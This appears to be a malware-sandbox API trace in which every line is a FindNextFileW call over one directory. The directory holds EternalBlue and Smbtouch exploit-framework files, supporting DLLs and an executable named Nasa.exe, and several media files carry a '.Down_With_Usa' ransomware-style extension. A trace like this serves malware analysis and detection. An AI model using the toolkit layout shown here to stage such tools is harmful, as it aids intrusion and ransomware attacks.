[0241.394] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28336080, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28336080, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x2835c1e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="esco-0.dll", cAlternateFileName="")) returned 1
[0241.394] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cf66c0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x27cf66c0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x27d1c820, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1f800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eternalblue-2.2.0.exe", cAlternateFileName="ETERNA~1.EXE")) returned 1
[0241.395] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x663f97e0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x663f97e0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x663f97e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eternalblue-2.2.0.log", cAlternateFileName="ETERNA~1.LOG")) returned 1
[0241.395] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27f31b60, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x27f31b60, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x27f57cc0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1de1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eternalblue-2.2.0.xml", cAlternateFileName="ETERNA~1.XML")) returned 1
[0241.395] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x283f4760, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x283f4760, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x283f4760, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="exma-1.dll", cAlternateFileName="")) returned 1
[0241.396] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x283a84a0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x283a84a0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x283a84a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="exma.dll", cAlternateFileName="")) returned 1
[0241.396] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95bd5050, ftCreationTime.dwHighDateTime=0x1d5dfbe, ftLastAccessTime.dwLowDateTime=0xcfb8c700, ftLastAccessTime.dwHighDateTime=0x1d5df62, ftLastWriteTime.dwLowDateTime=0x1f7cf820, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x126f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FiPz.ppt.Down_With_Usa", cAlternateFileName="FIPZPP~1.DOW")) returned 1
[0241.397] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc007a960, ftCreationTime.dwHighDateTime=0x1d5dc11, ftLastAccessTime.dwLowDateTime=0x22509a20, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x22509a20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HiTPqgyxdhZUlpDcH", cAlternateFileName="HITPQG~1")) returned 1
[0241.397] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28440a20, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28440a20, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28466b80, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="iconv.dll", cAlternateFileName="")) returned 1
[0241.398] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac9a7d70, ftCreationTime.dwHighDateTime=0x1d5de0b, ftLastAccessTime.dwLowDateTime=0x2284f860, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x2284f860, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="l9QUNeqlGif", cAlternateFileName="L9QUNE~1")) returned 1
[0241.398] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2862fc00, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2862fc00, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28655d60, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x33e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="libcurl.dll", cAlternateFileName="")) returned 1
[0241.399] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28760700, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28760700, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x287d2b20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xdc800, dwReserved0=0x0, dwReserved1=0x0, cFileName="libeay32.dll", cAlternateFileName="")) returned 1
[0241.399] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2881ede0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2881ede0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28891200, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xece99, dwReserved0=0x0, dwReserved1=0x0, cFileName="libiconv-2.dll", cAlternateFileName="LIBICO~1.DLL")) returned 1
[0241.400] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x288b7360, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x288b7360, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x289e7e60, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xc9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="libxml2.dll", cAlternateFileName="")) returned 1
[0241.400] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd28334a0, ftCreationTime.dwHighDateTime=0x1d5d7ee, ftLastAccessTime.dwLowDateTime=0x7a3aef50, ftLastAccessTime.dwHighDateTime=0x1d5db35, ftLastWriteTime.dwLowDateTime=0x1f88df00, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x11730, dwReserved0=0x0, dwReserved1=0x0, cFileName="m6pr0CPgtqV6i.mp4.Down_With_Usa", cAlternateFileName="M6PR0C~1.DOW")) returned 1
[0241.401] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65eb98d0, ftCreationTime.dwHighDateTime=0x1d5da52, ftLastAccessTime.dwLowDateTime=0xa66b1f20, ftLastAccessTime.dwHighDateTime=0x1d5e45c, ftLastWriteTime.dwLowDateTime=0x1f900320, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x3cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mlh-EH2DWsH-3y_WaK.flv.Down_With_Usa", cAlternateFileName="MLH-EH~1.DOW")) returned 1
[0241.401] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe353ad30, ftCreationTime.dwHighDateTime=0x1d5e40c, ftLastAccessTime.dwLowDateTime=0xe086a800, ftLastAccessTime.dwHighDateTime=0x1d5db9c, ftLastWriteTime.dwLowDateTime=0x1f972740, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x22f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="n4T6IDvbZzl.jpg.Down_With_Usa", cAlternateFileName="N4T6ID~1.DOW")) returned 1
[0241.401] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27e01060, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x27e01060, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x27e271c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xb400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Nasa.exe", cAlternateFileName="")) returned 1
[0241.402] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff166fa0, ftCreationTime.dwHighDateTime=0x1d5d94c, ftLastAccessTime.dwLowDateTime=0x3cea9da0, ftLastAccessTime.dwHighDateTime=0x1d5e6dc, ftLastWriteTime.dwLowDateTime=0x1f9e4b60, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x13880, dwReserved0=0x0, dwReserved1=0x0, cFileName="pCGd4Vc-Rq9F HN9_jrM.mp4.Down_With_Usa", cAlternateFileName="PCGD4V~1.DOW")) returned 1
[0241.403] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28a0dfc0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28a0dfc0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28a34120, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x52600, dwReserved0=0x0, dwReserved1=0x0, cFileName="pcla-0.dll", cAlternateFileName="")) returned 1
[0241.403] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28aa6540, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28aa6540, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28acc6a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x23c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pcre-0.dll", cAlternateFileName="")) returned 1
[0241.404] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28acc6a0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28acc6a0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28af2800, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pcrecpp-0.dll", cAlternateFileName="PCRECP~1.DLL")) returned 1
[0241.405] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28af2800, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28af2800, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28b18960, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="pcreposix-0.dll", cAlternateFileName="PCREPO~1.DLL")) returned 1
[0241.405] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28b64c20, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28b64c20, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28b8ad80, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="posh-0.dll", cAlternateFileName="")) returned 1
[0241.406] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28b3eac0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28b3eac0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28b3eac0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="posh.dll", cAlternateFileName="")) returned 1
[0241.406] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49d1c260, ftCreationTime.dwHighDateTime=0x1d5e5e6, ftLastAccessTime.dwLowDateTime=0x9eaf8e50, ftLastAccessTime.dwHighDateTime=0x1d5dff3, ftLastWriteTime.dwLowDateTime=0x1fac93a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x16790, dwReserved0=0x0, dwReserved1=0x0, cFileName="PTubNm8c7Zfy5cv7.png.Down_With_Usa", cAlternateFileName="PTUBNM~1.DOW")) returned 1
[0241.407] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ce0ee0, ftCreationTime.dwHighDateTime=0x1d5df8c, ftLastAccessTime.dwLowDateTime=0xac65ecd0, ftLastAccessTime.dwHighDateTime=0x1d5e064, ftLastWriteTime.dwLowDateTime=0x1fb3b7c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x2410, dwReserved0=0x0, dwReserved1=0x0, cFileName="PYj9g_.gif.Down_With_Usa", cAlternateFileName="PYJ9G_~1.DOW")) returned 1
[0241.407] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2910c060, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2910c060, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x291321c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="riar-2.dll", cAlternateFileName="")) returned 1
[0241.408] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28fdb560, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28fdb560, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x290016c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="riar.dll", cAlternateFileName="")) returned 1
[0241.408] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33939ed0, ftCreationTime.dwHighDateTime=0x1d5dced, ftLastAccessTime.dwLowDateTime=0x113284d0, ftLastAccessTime.dwHighDateTime=0x1d5dd85, ftLastWriteTime.dwLowDateTime=0x1fbadbe0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x35b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RwBotm2CYZ.bmp.Down_With_Usa", cAlternateFileName="RWBOTM~1.DOW")) returned 1
[0241.409] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3df310a0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x3df310a0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x640b7200, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x101b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan.txt", cAlternateFileName="")) returned 1
[0241.409] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ebf740, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x27ebf740, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x27f0ba00, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1359, dwReserved0=0x0, dwReserved1=0x0, cFileName="Smbtouch-1.1.1.xml", cAlternateFileName="SMBTOU~1.XML")) returned 1
[0241.410] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29262cc0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x29262cc0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x29288e20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ssleay32.dll", cAlternateFileName="")) returned 1
[0241.410] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2936d660, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2936d660, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x293937c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x39000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tibe-1.dll", cAlternateFileName="")) returned 1
[0241.411] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x293b9920, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x293b9920, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x293dfa80, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x3a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tibe-2.dll", cAlternateFileName="")) returned 1
[0241.411] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x293213a0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x293213a0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x29347500, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x42000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tibe.dll", cAlternateFileName="")) returned 1
[0241.412] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29451ea0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x29451ea0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x29478000, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x12000, dwReserved0=0x0, dwReserved1=0x0, cFileName="trch-0.dll", cAlternateFileName="")) returned 1
[0241.412] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2961af20, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2961af20, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x2961af20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xea00, dwReserved0=0x0, dwReserved1=0x0, cFileName="trch-1.dll", cAlternateFileName="")) returned 1
[0241.413] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2942bd40, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2942bd40, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x2942bd40, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x0, dwReserved1=0x0, cFileName="trch.dll", cAlternateFileName="")) returned 1
[0241.414] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2968d340, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2968d340, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x296b34a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="trfo-0.dll", cAlternateFileName="")) returned 1
[0241.414] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2974ba20, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2974ba20, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x2974ba20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x0, dwReserved1=0x0, cFileName="trfo-2.dll", cAlternateFileName="")) returned 1
[0241.415] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29641080, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x29641080, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x296671e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x9600, dwReserved0=0x0, dwReserved1=0x0, cFileName="trfo.dll", cAlternateFileName="")) returned 1
[0241.415] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29830260, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x29830260, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x29830260, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="tucl-1.dll", cAlternateFileName="")) returned 1
[0241.416] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x297bde40, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x297bde40, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x297e3fa0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tucl.dll", cAlternateFileName="")) returned 1
[0241.416] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x298a2680, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x298a2680, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x298a2680, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xe400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ucl.dll", cAlternateFileName="")) returned 1
